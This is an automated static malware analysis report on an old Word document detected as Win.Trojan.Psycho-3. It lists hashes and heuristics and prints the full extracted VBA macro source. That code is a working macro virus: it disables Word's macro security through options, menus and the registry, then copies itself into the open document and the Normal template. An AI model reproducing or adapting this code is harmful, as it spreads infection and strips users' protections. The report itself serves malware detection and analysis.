Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 9944bb09d2d8333c…

MALICIOUS

Office (OLE)

26.5 KB Created: 1999-08-04 07:35:00 Authoring application: Microsoft Word 9.0 First seen: 2012-06-14
MD5: bec4e4d6dd7adf948284a780dde2da1a SHA-1: ce85c25e9c48787aa1ae7adcbfcb104cfb387186 SHA-256: 9944bb09d2d8333cbff9f8add3a4415e086b06ee54bd1e871c2f464448ff9bae
80 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic

The sample contains VBA macros that attempt to disable Word's macro security settings by modifying the registry key HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security. It also attempts to save the document with its current name, potentially to ensure the malicious macros are saved. The ClamAV detection as Win.Trojan.Psycho-3 suggests a known malicious pattern, but specific family attribution is not possible from the provided evidence.

Heuristics 2

  • ClamAV: Win.Trojan.Psycho-3 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Win.Trojan.Psycho-3
  • VBA macros detected medium OLE_VBA_MACROS
    Document contains VBA macro code

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1295 bytes
SHA-256: 49b2a02511e8cd0302dccb298d9f2a61561d2634e9fb9568de8b25ed813463dc
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Sap"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
'Copyright (C) 1998 by FlyShadow ~^^~ - Sap
Private Sub Document_Close()
On Error Resume Next
Options.VirusProtection = 0
Options.SaveNormalPrompt = 0
Options.ConfirmConversions = 0
CommandBars("Tools").Controls("Macro").Enabled = 0
CommandBars("Macro").Controls("Security...").Enabled = 0
System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security", "Level") = 1&
Set α = New DataObject
Set ν = ActiveDocument.VBProject.VBComponents(1)
Set υ = NormalTemplate.VBProject.VBComponents(1)
α.SetText Sap.VBProject.VBComponents(1).CodeModule.Lines(1, Sap.VBProject.VBComponents(1).CodeModule.CountOfLines)
If Not ν.Name = "Sap" Then ν.Name = "Sap": Set ν = ν.CodeModule: ν.DeleteLines 1, ν.CountOfLines: ν.InsertLines 1, α.GetText
If Not υ.Name = "Sap" Then υ.Name = "Sap": Set υ = υ.CodeModule: υ.DeleteLines 1, υ.CountOfLines: υ.InsertLines 1, α.GetText
ActiveDocument.SaveAs FileName:=ActiveDocument.FullName, FileFormat:=wdFormatDocument
End Sub

Open this report in the interactive analyzer, or submit your own file for analysis.